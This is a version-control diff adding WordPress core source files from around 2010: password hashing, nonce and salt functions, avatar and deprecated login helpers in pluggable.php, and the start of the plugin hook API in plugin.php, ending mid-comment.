* @param string $nonce Nonce that was used in the form to verify + * @param string|int $action Should give context to what is taking place and be the same when nonce was created. + * @return bool Whether the nonce check passed or failed. + */ +function wp_verify_nonce($nonce, $action = -1) { + $user = wp_get_current_user(); + $uid = (int) $user->id; + + $i = wp_nonce_tick(); + + // Nonce generated 0-12 hours ago + if ( substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10) == $nonce ) + return 1; + // Nonce generated 12-24 hours ago + if ( substr(wp_hash(($i - 1) . $action . $uid, 'nonce'), -12, 10) == $nonce ) + return 2; + // Invalid nonce + return false; +} +endif; + +if ( !function_exists('wp_create_nonce') ) : +/** + * Creates a random, one time use token. + * + * @since 2.0.3 + * + * @param string|int $action Scalar value to add context to the nonce. + * @return string The one use form token + */ +function wp_create_nonce($action = -1) { + $user = wp_get_current_user(); + $uid = (int) $user->id; + + $i = wp_nonce_tick(); + + return substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10); +} +endif; + +if ( !function_exists('wp_salt') ) : +/** + * Get salt to add to hashes to help prevent attacks. + * + * The secret key is located in two places: the database in case the secret key + * isn't defined in the second place, which is in the wp-config.php file. If you + * are going to set the secret key, then you must do so in the wp-config.php + * file. + * + * The secret key in the database is randomly generated and will be appended to + * the secret key that is in wp-config.php file in some instances. It is + * important to have the secret key defined or changed in wp-config.php. + * + * If you have installed WordPress 2.5 or later, then you will have the + * SECRET_KEY defined in the wp-config.php already. You will want to change the + * value in it because hackers will know what it is. If you have upgraded to + * WordPress 2.5 or later version from a version before WordPress 2.5, then you + * should add the constant to your wp-config.php file. + * + * Below is an example of how the SECRET_KEY constant is defined with a value. + * You must not copy the below example and paste into your wp-config.php. If you + * need an example, then you can have a + * {@link https://api.wordpress.org/secret-key/1.1/ secret key created} for you. + * + * + * define('SECRET_KEY', 'mAry1HadA15|\/|b17w55w1t3asSn09w'); + * + * + * Salting passwords helps against tools which has stored hashed values of + * common dictionary strings. The added values makes it harder to crack if given + * salt string is not weak. + * + * @since 2.5 + * @link https://api.wordpress.org/secret-key/1.1/ Create a Secret Key for wp-config.php + * + * @return string Salt value from either 'SECRET_KEY' or 'secret' option + */ +function wp_salt($scheme = 'auth') { + global $wp_default_secret_key; + $secret_key = ''; + if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) ) + $secret_key = SECRET_KEY; + + if ( 'auth' == $scheme ) { + if ( defined('AUTH_KEY') && ('' != AUTH_KEY) && ( $wp_default_secret_key != AUTH_KEY) ) + $secret_key = AUTH_KEY; + + if ( defined('AUTH_SALT') ) { + $salt = AUTH_SALT; + } elseif ( defined('SECRET_SALT') ) { + $salt = SECRET_SALT; + } else { + $salt = get_option('auth_salt'); + if ( empty($salt) ) { + $salt = wp_generate_password(64); + update_option('auth_salt', $salt); + } + } + } elseif ( 'secure_auth' == $scheme ) { + if ( defined('SECURE_AUTH_KEY') && ('' != SECURE_AUTH_KEY) && ( $wp_default_secret_key != SECURE_AUTH_KEY) ) + $secret_key = SECURE_AUTH_KEY; + + if ( defined('SECURE_AUTH_SALT') ) { + $salt = SECURE_AUTH_SALT; + } else { + $salt = get_option('secure_auth_salt'); + if ( empty($salt) ) { + $salt = wp_generate_password(64); + update_option('secure_auth_salt', $salt); + } + } + } elseif ( 'logged_in' == $scheme ) { + if ( defined('LOGGED_IN_KEY') && ('' != LOGGED_IN_KEY) && ( $wp_default_secret_key != LOGGED_IN_KEY) ) + $secret_key = LOGGED_IN_KEY; + + if ( defined('LOGGED_IN_SALT') ) { + $salt = LOGGED_IN_SALT; + } else { + $salt = get_option('logged_in_salt'); + if ( empty($salt) ) { + $salt = wp_generate_password(64); + update_option('logged_in_salt', $salt); + } + } + } elseif ( 'nonce' == $scheme ) { + if ( defined('NONCE_KEY') && ('' != NONCE_KEY) && ( $wp_default_secret_key != NONCE_KEY) ) + $secret_key = NONCE_KEY; + + if ( defined('NONCE_SALT') ) { + $salt = NONCE_SALT; + } else { + $salt = get_option('nonce_salt'); + if ( empty($salt) ) { + $salt = wp_generate_password(64); + update_option('nonce_salt', $salt); + } + } + } else { + // ensure each auth scheme has its own unique salt + $salt = hash_hmac('md5', $scheme, $secret_key); + } + + return apply_filters('salt', $secret_key . $salt, $scheme); +} +endif; + +if ( !function_exists('wp_hash') ) : +/** + * Get hash of given string. + * + * @since 2.0.3 + * @uses wp_salt() Get WordPress salt + * + * @param string $data Plain text to hash + * @return string Hash of $data + */ +function wp_hash($data, $scheme = 'auth') { + $salt = wp_salt($scheme); + + return hash_hmac('md5', $data, $salt); +} +endif; + +if ( !function_exists('wp_hash_password') ) : +/** + * Create a hash (encrypt) of a plain text password. + * + * For integration with other applications, this function can be overwritten to + * instead use the other package password checking algorithm. + * + * @since 2.5 + * @global object $wp_hasher PHPass object + * @uses PasswordHash::HashPassword + * + * @param string $password Plain text user password to hash + * @return string The hash string of the password + */ +function wp_hash_password($password) { + global $wp_hasher; + + if ( empty($wp_hasher) ) { + require_once( ABSPATH . 'wp-includes/class-phpass.php'); + // By default, use the portable hash from phpass + $wp_hasher = new PasswordHash(8, TRUE); + } + + return $wp_hasher->HashPassword($password); +} +endif; + +if ( !function_exists('wp_check_password') ) : +/** + * Checks the plaintext password against the encrypted Password. + * + * Maintains compatibility between old version and the new cookie authentication + * protocol using PHPass library. The $hash parameter is the encrypted password + * and the function compares the plain text password when encypted similarly + * against the already encrypted password to see if they match. + * + * For integration with other applications, this function can be overwritten to + * instead use the other package password checking algorithm. + * + * @since 2.5 + * @global object $wp_hasher PHPass object used for checking the password + * against the $hash + $password + * @uses PasswordHash::CheckPassword + * + * @param string $password Plaintext user's password + * @param string $hash Hash of the user's password to check against. + * @return bool False, if the $password does not match the hashed password + */ +function wp_check_password($password, $hash, $user_id = '') { + global $wp_hasher; + + // If the hash is still md5... + if ( strlen($hash) <= 32 ) { + $check = ( $hash == md5($password) ); + if ( $check && $user_id ) { + // Rehash using new hash. + wp_set_password($password, $user_id); + $hash = wp_hash_password($password); + } + + return apply_filters('check_password', $check, $password, $hash, $user_id); + } + + // If the stored hash is longer than an MD5, presume the + // new style phpass portable hash. + if ( empty($wp_hasher) ) { + require_once( ABSPATH . 'wp-includes/class-phpass.php'); + // By default, use the portable hash from phpass + $wp_hasher = new PasswordHash(8, TRUE); + } + + $check = $wp_hasher->CheckPassword($password, $hash); + + return apply_filters('check_password', $check, $password, $hash, $user_id); +} +endif; + +if ( !function_exists('wp_generate_password') ) : +/** + * Generates a random password drawn from the defined set of characters. + * + * @since 2.5 + * + * @param int $length The length of password to generate + * @param bool $special_chars Whether to include standard special characters + * @return string The random password + **/ +function wp_generate_password($length = 12, $special_chars = true) { + $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + if ( $special_chars ) + $chars .= '!@#$%^&*()'; + + $password = ''; + for ( $i = 0; $i < $length; $i++ ) + $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1); + return $password; +} +endif; + +if ( !function_exists('wp_rand') ) : + /** + * Generates a random number + * + * @since 2.6.2 + * + * @param int $min Lower limit for the generated number (optional, default is 0) + * @param int $max Upper limit for the generated number (optional, default is 4294967295) + * @return int A random number between min and max + */ +function wp_rand( $min = 0, $max = 0 ) { + global $rnd_value; + + $seed = get_transient('random_seed'); + + // Reset $rnd_value after 14 uses + // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value + if ( strlen($rnd_value) < 8 ) { + $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed ); + $rnd_value .= sha1($rnd_value); + $rnd_value .= sha1($rnd_value . $seed); + $seed = md5($seed . $rnd_value); + set_transient('random_seed', $seed); + } + + // Take the first 8 digits for our value + $value = substr($rnd_value, 0, 8); + + // Strip the first eight, leaving the remainder for the next call to wp_rand(). + $rnd_value = substr($rnd_value, 8); + + $value = abs(hexdec($value)); + + // Reduce the value to be within the min - max range + // 4294967295 = 0xffffffff = max random number + if ( $max != 0 ) + $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1))); + + return abs(intval($value)); +} +endif; + +if ( !function_exists('wp_set_password') ) : +/** + * Updates the user's password with a new encrypted one. + * + * For integration with other applications, this function can be overwritten to + * instead use the other package password checking algorithm. + * + * @since 2.5 + * @uses $wpdb WordPress database object for queries + * @uses wp_hash_password() Used to encrypt the user's password before passing to the database + * + * @param string $password The plaintext new user password + * @param int $user_id User ID + */ +function wp_set_password( $password, $user_id ) { + global $wpdb; + + $hash = wp_hash_password($password); + $wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) ); + + wp_cache_delete($user_id, 'users'); +} +endif; + +if ( !function_exists( 'get_avatar' ) ) : +/** + * Retrieve the avatar for a user who provided a user ID or email address. + * + * @since 2.5 + * @param int|string|object $id_or_email A user ID, email address, or comment object + * @param int $size Size of the avatar image + * @param string $default URL to a default image to use if no avatar is available + * @param string $alt Alternate text to use in image tag. Defaults to blank + * @return string tag for the user's avatar +*/ +function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) { + if ( ! get_option('show_avatars') ) + return false; + + if ( false === $alt) + $safe_alt = ''; + else + $safe_alt = esc_attr( $alt ); + + if ( !is_numeric($size) ) + $size = '96'; + + $email = ''; + if ( is_numeric($id_or_email) ) { + $id = (int) $id_or_email; + $user = get_userdata($id); + if ( $user ) + $email = $user->user_email; + } elseif ( is_object($id_or_email) ) { + if ( isset($id_or_email->comment_type) && '' != $id_or_email->comment_type && 'comment' != $id_or_email->comment_type ) + return false; // No avatar for pingbacks or trackbacks + + if ( !empty($id_or_email->user_id) ) { + $id = (int) $id_or_email->user_id; + $user = get_userdata($id); + if ( $user) + $email = $user->user_email; + } elseif ( !empty($id_or_email->comment_author_email) ) { + $email = $id_or_email->comment_author_email; + } + } else { + $email = $id_or_email; + } + + if ( empty($default) ) { + $avatar_default = get_option('avatar_default'); + if ( empty($avatar_default) ) + $default = 'mystery'; + else + $default = $avatar_default; + } + + if ( is_ssl() ) + $host = 'https://secure.gravatar.com'; + else + $host = 'http://www.gravatar.com'; + + if ( 'mystery' == $default ) + $default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com') + elseif ( 'blank' == $default ) + $default = includes_url('images/blank.gif'); + elseif ( !empty($email) && 'gravatar_default' == $default ) + $default = ''; + elseif ( 'gravatar_default' == $default ) + $default = "$host/avatar/s={$size}"; + elseif ( empty($email) ) + $default = "$host/avatar/?d=$default&s={$size}"; + elseif ( strpos($default, 'http://') === 0 ) + $default = add_query_arg( 's', $size, $default ); + + if ( !empty($email) ) { + $out = "$host/avatar/"; + $out .= md5( strtolower( $email ) ); + $out .= '?s='.$size; + $out .= '&d=' . urlencode( $default ); + + $rating = get_option('avatar_rating'); + if ( !empty( $rating ) ) + $out .= "&r={$rating}"; + + $avatar = "{$safe_alt}"; + } else { + $avatar = "{$safe_alt}"; + } + + return apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt); +} +endif; + +if ( !function_exists('wp_setcookie') ) : +/** + * Sets a cookie for a user who just logged in. + * + * @since 1.5 + * @deprecated Use wp_set_auth_cookie() + * @see wp_set_auth_cookie() + * + * @param string $username The user's username + * @param string $password Optional. The user's password + * @param bool $already_md5 Optional. Whether the password has already been through MD5 + * @param string $home Optional. Will be used instead of COOKIEPATH if set + * @param string $siteurl Optional. Will be used instead of SITECOOKIEPATH if set + * @param bool $remember Optional. Remember that the user is logged in + */ +function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) { + _deprecated_function( __FUNCTION__, '2.5', 'wp_set_auth_cookie()' ); + $user = get_userdatabylogin($username); + wp_set_auth_cookie($user->ID, $remember); +} +endif; + +if ( !function_exists('wp_clearcookie') ) : +/** + * Clears the authentication cookie, logging the user out. + * + * @since 1.5 + * @deprecated Use wp_clear_auth_cookie() + * @see wp_clear_auth_cookie() + */ +function wp_clearcookie() { + _deprecated_function( __FUNCTION__, '2.5', 'wp_clear_auth_cookie()' ); + wp_clear_auth_cookie(); +} +endif; + +if ( !function_exists('wp_get_cookie_login') ): +/** + * Gets the user cookie login. + * + * This function is deprecated and should no longer be extended as it won't be + * used anywhere in WordPress. Also, plugins shouldn't use it either. + * + * @since 2.0.3 + * @deprecated No alternative + * + * @return bool Always returns false + */ +function wp_get_cookie_login() { + _deprecated_function( __FUNCTION__, '2.5', '' ); + return false; +} +endif; + +if ( !function_exists('wp_login') ) : +/** + * Checks a users login information and logs them in if it checks out. + * + * Use the global $error to get the reason why the login failed. If the username + * is blank, no error will be set, so assume blank username on that case. + * + * Plugins extending this function should also provide the global $error and set + * what the error is, so that those checking the global for why there was a + * failure can utilize it later. + * + * @since 1.2.2 + * @deprecated Use wp_signon() + * @global string $error Error when false is returned + * + * @param string $username User's username + * @param string $password User's password + * @param bool $deprecated Not used + * @return bool False on login failure, true on successful check + */ +function wp_login($username, $password, $deprecated = '') { + global $error; + + $user = wp_authenticate($username, $password); + + if ( ! is_wp_error($user) ) + return true; + + $error = $user->get_error_message(); + return false; +} +endif; + +if ( !function_exists( 'wp_text_diff' ) ) : +/** + * Displays a human readable HTML representation of the difference between two strings. + * + * The Diff is available for getting the changes between versions. The output is + * HTML, so the primary use is for displaying the changes. If the two strings + * are equivalent, then an empty string will be returned. + * + * The arguments supported and can be changed are listed below. + * + * 'title' : Default is an empty string. Titles the diff in a manner compatible + * with the output. + * 'title_left' : Default is an empty string. Change the HTML to the left of the + * title. + * 'title_right' : Default is an empty string. Change the HTML to the right of + * the title. + * + * @since 2.6 + * @see wp_parse_args() Used to change defaults to user defined settings. + * @uses Text_Diff + * @uses WP_Text_Diff_Renderer_Table + * + * @param string $left_string "old" (left) version of string + * @param string $right_string "new" (right) version of string + * @param string|array $args Optional. Change 'title', 'title_left', and 'title_right' defaults. + * @return string Empty string if strings are equivalent or HTML with differences. + */ +function wp_text_diff( $left_string, $right_string, $args = null ) { + $defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '' ); + $args = wp_parse_args( $args, $defaults ); + + if ( !class_exists( 'WP_Text_Diff_Renderer_Table' ) ) + require( ABSPATH . WPINC . '/wp-diff.php' ); + + $left_string = normalize_whitespace($left_string); + $right_string = normalize_whitespace($right_string); + + $left_lines = split("\n", $left_string); + $right_lines = split("\n", $right_string); + + $text_diff = new Text_Diff($left_lines, $right_lines); + $renderer = new WP_Text_Diff_Renderer_Table(); + $diff = $renderer->render($text_diff); + + if ( !$diff ) + return ''; + + $r = "\n"; + $r .= ""; + + if ( $args['title'] || $args['title_left'] || $args['title_right'] ) + $r .= ""; + if ( $args['title'] ) + $r .= "\n"; + if ( $args['title_left'] || $args['title_right'] ) { + $r .= "\n"; + $r .= "\t\n"; + $r .= "\t\n"; + $r .= "\n"; + } + if ( $args['title'] || $args['title_left'] || $args['title_right'] ) + $r .= "\n"; + + $r .= "\n$diff\n\n"; + $r .= "
    $args[title]
    $args[title_left]$args[title_right]
    "; + + return $r; +} +endif; + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/plugin.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/plugin.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,704 @@ + + * function example_hook($example) { echo $example; } + * add_filter('example_filter', 'example_hook'); + * + * + * In WordPress 1.5.1+, hooked functions can take extra arguments that are set + * when the matching do_action() or apply_filters() call is run. The + * $accepted_args allow for calling functions only when the number of args + * match. Hooked functions can take extra arguments that are set when the + * matching do_action() or apply_filters() call is run. For example, the action + * comment_id_not_found will pass any functions that hook onto it the ID of the + * requested comment. + * + * Note: the function will return true no matter if the + * function was hooked fails or not. There are no checks for whether the + * function exists beforehand and no checks to whether the $function_to_add + * is even a string. It is up to you to take care and this is done for + * optimization purposes, so everything is as quick as possible. + * + * @package WordPress + * @subpackage Plugin + * @since 0.71 + * @global array $wp_filter Stores all of the filters added in the form of + * wp_filter['tag']['array of priorities']['array of functions serialized']['array of ['array (functions, accepted_args)']'] + * @global array $merged_filters Tracks the tags that need to be merged for later. If the hook is added, it doesn't need to run through that process. + * + * @param string $tag The name of the filter to hook the $function_to_add to. + * @param callback $function_to_add The name of the function to be called when the filter is applied. + * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action. + * @param int $accepted_args optional. The number of arguments the function accept (default 1). + * @return boolean true + */ +function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) { + global $wp_filter, $merged_filters; + + $idx = _wp_filter_build_unique_id($tag, $function_to_add, $priority); + $wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args); + unset( $merged_filters[ $tag ] ); + return true; +} + +/** + * Check if any filter has been registered for a hook. + * + * @package WordPress + * @subpackage Plugin + * @since 2.5 + * @global array $wp_filter Stores all of the filters + * + * @param string $tag The name of the filter hook. + * @param callback $function_to_check optional. If specified, return the priority of that function on this hook or false if not attached. + * @return int|boolean Optionally returns the priority on that hook for the specified function. + */ +function has_filter($tag, $function_to_check = false) { + global $wp_filter; + + $has = !empty($wp_filter[$tag]); + if ( false === $function_to_check || false == $has ) + return $has; + + if ( !$idx = _wp_filter_build_unique_id($tag, $function_to_check, false) ) + return false; + + foreach ( (array) array_keys($wp_filter[$tag]) as $priority ) { + if ( isset($wp_filter[$tag][$priority][$idx]) ) + return $priority; + } + + return false; +} + +/** + * Call the functions added to a filter hook. + * + * The callback functions attached to filter hook $tag are invoked by calling + * this function. This function can be used to create a new filter hook by + * simply calling this function with the name of the new hook specified using + * the $tag parameter. + * + * The function allows for additional arguments to be added and passed to hooks. + * + * function example_hook($string, $arg1, $arg2) + * { + * //Do stuff + * return $string; + * } + * $value = apply_filters('example_filter', 'filter me', 'arg1', 'arg2'); + * + * + * @package WordPress + * @subpackage Plugin + * @since 0.71 + * @global array $wp_filter Stores all of the filters + * @global array $merged_filters Merges the filter hooks using this function. + * @global array $wp_current_filter stores the list of current filters with the current one last + * + * @param string $tag The name of the filter hook. + * @param mixed $value The value on which the filters hooked to $tag are applied on. + * @param mixed $var,... Additional variables passed to the functions hooked to $tag. + * @return mixed The filtered value after all hooked functions are applied to it. + */ +function apply_filters($tag, $value) { + global $wp_filter, $merged_filters, $wp_current_filter; + + $args = array(); + $wp_current_filter[] = $tag; + + // Do 'all' actions first + if ( isset($wp_filter['all']) ) { + $args = func_get_args(); + _wp_call_all_hook($args); + } + + if ( !isset($wp_filter[$tag]) ) { + array_pop($wp_current_filter); + return $value; + } + + // Sort + if ( !isset( $merged_filters[ $tag ] ) ) { + ksort($wp_filter[$tag]); + $merged_filters[ $tag ] = true; + } + + reset( $wp_filter[ $tag ] ); + + if ( empty($args) ) + $args = func_get_args(); + + do { + foreach( (array) current($wp_filter[$tag]) as $the_ ) + if ( !is_null($the_['function']) ){ + $args[1] = $value; + $value = call_user_func_array($the_['function'], array_slice($args, 1, (int) $the_['accepted_args'])); + } + + } while ( next($wp_filter[$tag]) !== false ); + + array_pop( $wp_current_filter ); + + return $value; +} + +/** + * Removes a function from a specified filter hook. + * + * This function removes a function attached to a specified filter hook. This + * method can be used to remove default functions attached to a specific filter + * hook and possibly replace them with a substitute. + * + * To remove a hook, the $function_to_remove and $priority arguments must match + * when the hook was added. This goes for both filters and actions. No warning + * will be given on removal failure. + * + * @package WordPress + * @subpackage Plugin + * @since 1.2 + * + * @param string $tag The filter hook to which the function to be removed is hooked. + * @param callback $function_to_remove The name of the function which should be removed. + * @param int $priority optional. The priority of the function (default: 10). + * @param int $accepted_args optional. The number of arguments the function accpets (default: 1). + * @return boolean Whether the function existed before it was removed. + */ +function remove_filter($tag, $function_to_remove, $priority = 10, $accepted_args = 1) { + $function_to_remove = _wp_filter_build_unique_id($tag, $function_to_remove, $priority); + + $r = isset($GLOBALS['wp_filter'][$tag][$priority][$function_to_remove]); + + if ( true === $r) { + unset($GLOBALS['wp_filter'][$tag][$priority][$function_to_remove]); + if ( empty($GLOBALS['wp_filter'][$tag][$priority]) ) + unset($GLOBALS['wp_filter'][$tag][$priority]); + unset($GLOBALS['merged_filters'][$tag]); + } + + return $r; +} + +/** + * Remove all of the hooks from a filter. + * + * @since 2.7 + * + * @param string $tag The filter to remove hooks from. + * @param int $priority The priority number to remove. + * @return bool True when finished. + */ +function remove_all_filters($tag, $priority = false) { + global $wp_filter, $merged_filters; + + if( isset($wp_filter[$tag]) ) { + if( false !== $priority && isset($$wp_filter[$tag][$priority]) ) + unset($wp_filter[$tag][$priority]); + else + unset($wp_filter[$tag]); + } + + if( isset($merged_filters[$tag]) ) + unset($merged_filters[$tag]); + + return true; +} + +/** + * Retrieve the name of the current filter or action. + * + * @package WordPress + * @subpackage Plugin + * @since 2.5 + * + * @return string Hook name of the current filter or action. + */ +function current_filter() { + global $wp_current_filter; + return end( $wp_current_filter ); +} + + +/** + * Hooks a function on to a specific action. + * + * Actions are the hooks that the WordPress core launches at specific points + * during execution, or when specific events occur. Plugins can specify that + * one or more of its PHP functions are executed at these points, using the + * Action API. + * + * @uses add_filter() Adds an action. Parameter list and functionality are the same. + * + * @package WordPress + * @subpackage Plugin + * @since 1.2 + * + * @param string $tag The name of the action to which the $function_to_add is hooked. + * @param callback $function_to_add The name of the function you wish to be called. + * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action. + * @param int $accepted_args optional. The number of arguments the function accept (default 1). + */ +function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) { + return add_filter($tag, $function_to_add, $priority, $accepted_args); +} + + +/** + * Execute functions hooked on a specific action hook. + * + * This function invokes all functions attached to action hook $tag. It is + * possible to create new action hooks by simply calling this function, + * specifying the name of the new hook using the $tag parameter. + * + * You can pass extra arguments to the hooks, much like you can with + * apply_filters(). + * + * @see apply_filters() This function works similar with the exception that + * nothing is returned and only the functions or methods are called. + * + * @package WordPress + * @subpackage Plugin + * @since 1.2 + * @global array $wp_filter Stores all of the filters + * @global array $wp_actions Increments the amount of times action was triggered. + * + * @param string $tag The name of the action to be executed. + * @param mixed $arg,... Optional additional arguments which are passed on to the functions hooked to the action. + * @return null Will return null if $tag does not exist in $wp_filter array + */ +function do_action($tag, $arg = '') { + global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter; + + if ( is_array($wp_actions) ) + $wp_actions[] = $tag; + else + $wp_actions = array($tag); + + $wp_current_filter[] = $tag; + + // Do 'all' actions first + if ( isset($wp_filter['all']) ) { + $all_args = func_get_args(); + _wp_call_all_hook($all_args); + } + + if ( !isset($wp_filter[$tag]) ) { + array_pop($wp_current_filter); + return; + } + + $args = array(); + if ( is_array($arg) && 1 == count($arg) && is_object($arg[0]) ) // array(&$this) + $args[] =& $arg[0]; + else + $args[] = $arg; + for ( $a = 2; $a < func_num_args(); $a++ ) + $args[] = func_get_arg($a); + + // Sort + if ( !isset( $merged_filters[ $tag ] ) ) { + ksort($wp_filter[$tag]); + $merged_filters[ $tag ] = true; + } + + reset( $wp_filter[ $tag ] ); + + do { + foreach ( (array) current($wp_filter[$tag]) as $the_ ) + if ( !is_null($the_['function']) ) + call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); + + } while ( next($wp_filter[$tag]) !== false ); + + array_pop($wp_current_filter); +} + +/** + * Retrieve the number times an action is fired. + * + * @package WordPress + * @subpackage Plugin + * @since 2.1 + * @global array $wp_actions Increments the amount of times action was triggered. + * + * @param string $tag The name of the action hook. + * @return int The number of times action hook $tag is fired + */ +function did_action($tag) { + global $wp_actions; + + if ( empty($wp_actions) ) + return 0; + + return count(array_keys($wp_actions, $tag)); +} + +/** + * Execute functions hooked on a specific action hook, specifying arguments in an array. + * + * @see do_action() This function is identical, but the arguments passed to the + * functions hooked to $tag are supplied using an array. + * + * @package WordPress + * @subpackage Plugin + * @since 2.1 + * @global array $wp_filter Stores all of the filters + * @global array $wp_actions Increments the amount of times action was triggered. + * + * @param string $tag The name of the action to be executed. + * @param array $args The arguments supplied to the functions hooked to $tag + * @return null Will return null if $tag does not exist in $wp_filter array + */ +function do_action_ref_array($tag, $args) { + global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter; + + if ( !is_array($wp_actions) ) + $wp_actions = array($tag); + else + $wp_actions[] = $tag; + + $wp_current_filter[] = $tag; + + // Do 'all' actions first + if ( isset($wp_filter['all']) ) { + $all_args = func_get_args(); + _wp_call_all_hook($all_args); + } + + if ( !isset($wp_filter[$tag]) ) { + array_pop($wp_current_filter); + return; + } + + // Sort + if ( !isset( $merged_filters[ $tag ] ) ) { + ksort($wp_filter[$tag]); + $merged_filters[ $tag ] = true; + } + + reset( $wp_filter[ $tag ] ); + + do { + foreach( (array) current($wp_filter[$tag]) as $the_ ) + if ( !is_null($the_['function']) ) + call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); + + } while ( next($wp_filter[$tag]) !== false ); + + array_pop($wp_current_filter); +} + +/** + * Check if any action has been registered for a hook. + * + * @package WordPress + * @subpackage Plugin + * @since 2.5 + * @see has_filter() has_action() is an alias of has_filter(). + * + * @param string $tag The name of the action hook. + * @param callback $function_to_check optional. If specified, return the priority of that function on this hook or false if not attached. + * @return int|boolean Optionally returns the priority on that hook for the specified function. + */ +function has_action($tag, $function_to_check = false) { + return has_filter($tag, $function_to_check); +} + +/** + * Removes a function from a specified action hook. + * + * This function removes a function attached to a specified action hook. This + * method can be used to remove default functions attached to a specific filter + * hook and possibly replace them with a substitute. + * + * @package WordPress + * @subpackage Plugin + * @since 1.2 + * + * @param string $tag The action hook to which the function to be removed is hooked. + * @param callback $function_to_remove The name of the function which should be removed. + * @param int $priority optional The priority of the function (default: 10). + * @param int $accepted_args optional. The number of arguments the function accpets (default: 1). + * @return boolean Whether the function is removed. + */ +function remove_action($tag, $function_to_remove, $priority = 10, $accepted_args = 1) { + return remove_filter($tag, $function_to_remove, $priority, $accepted_args); +} + +/** + * Remove all of the hooks from an action. + * + * @since 2.7 + * + * @param string $tag The action to remove hooks from. + * @param int $priority The priority number to remove them from. + * @return bool True when finished. + */ +function remove_all_actions($tag, $priority = false) { + return remove_all_filters($tag, $priority); +} + +// +// Functions for handling plugins. +// + +/** + * Gets the basename of a plugin. + * + * This method extracts the name of a plugin from its filename. + * + * @package WordPress + * @subpackage Plugin + * @since 1.5 + * + * @access private + * + * @param string $file The filename of plugin. + * @return string The name of a plugin. + * @uses WP_PLUGIN_DIR + */ +function plugin_basename($file) { + $file = str_replace('\\','/',$file); // sanitize for Win32 installs + $file = preg_replace('|/+|','/', $file); // remove any duplicate slash + $plugin_dir = str_replace('\\','/',WP_PLUGIN_DIR); // sanitize for Win32 installs + $plugin_dir = preg_replace('|/+|','/', $plugin_dir); // remove any duplicate slash + $mu_plugin_dir = str_replace('\\','/',WPMU_PLUGIN_DIR); // sanitize for Win32 installs + $mu_plugin_dir = preg_replace('|/+|','/', $mu_plugin_dir); // remove any duplicate slash + $file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . preg_quote($mu_plugin_dir, '#') . '/#','',$file); // get relative path from plugins dir + $file = trim($file, '/'); + return $file; +} + +/** + * Gets the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in + * @package WordPress + * @subpackage Plugin + * @since 2.8 + * + * @param string $file The filename of the plugin (__FILE__) + * @return string the filesystem path of the directory that contains the plugin + */ +function plugin_dir_path( $file ) { + return trailingslashit( dirname( $file ) ); +} + +/** + * Gets the URL directory path (with trailing slash) for the plugin __FILE__ passed in + * @package WordPress + * @subpackage Plugin + * @since 2.8 + * + * @param string $file The filename of the plugin (__FILE__) + * @return string the URL path of the directory that contains the plugin + */ +function plugin_dir_url( $file ) { + return trailingslashit( plugins_url( '', $file ) ); +} + +/** + * Set the activation hook for a plugin. + * + * When a plugin is activated, the action 'activate_PLUGINNAME' hook is + * activated. In the name of this hook, PLUGINNAME is replaced with the name of + * the plugin, including the optional subdirectory. For example, when the plugin + * is located in wp-content/plugin/sampleplugin/sample.php, then the name of + * this hook will become 'activate_sampleplugin/sample.php'. When the plugin + * consists of only one file and is (as by default) located at + * wp-content/plugin/sample.php the name of this hook will be + * 'activate_sample.php'. + * + * @package WordPress + * @subpackage Plugin + * @since 2.0 + * + * @param string $file The filename of the plugin including the path. + * @param callback $function the function hooked to the 'activate_PLUGIN' action. + */ +function register_activation_hook($file, $function) { + $file = plugin_basename($file); + add_action('activate_' . $file, $function); +} + +/** + * Set the deactivation hook for a plugin. + * + * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is + * deactivated. In the name of this hook, PLUGINNAME is replaced with the name + * of the plugin, including the optional subdirectory. For example, when the + * plugin is located in wp-content/plugin/sampleplugin/sample.php, then + * the name of this hook will become 'activate_sampleplugin/sample.php'. + * + * When the plugin consists of only one file and is (as by default) located at + * wp-content/plugin/sample.php the name of this hook will be + * 'activate_sample.php'. + * + * @package WordPress + * @subpackage Plugin + * @since 2.0 + * + * @param string $file The filename of the plugin including the path. + * @param callback $function the function hooked to the 'activate_PLUGIN' action. + */ +function register_deactivation_hook($file, $function) { + $file = plugin_basename($file); + add_action('deactivate_' . $file, $function); +} + +/** + * Set the uninstallation hook for a plugin. + * + * Registers the uninstall hook that will be called when the user clicks on the + * uninstall link that calls for the plugin to uninstall itself. The link won't + * be active unless the plugin hooks into the action. + * + * The plugin should not run arbitrary code outside of functions, when + * registering the uninstall hook. In order to run using the hook, the plugin + * will have to be included, which means that any code laying outside of a + * function will be run during the uninstall process. The plugin should not + * 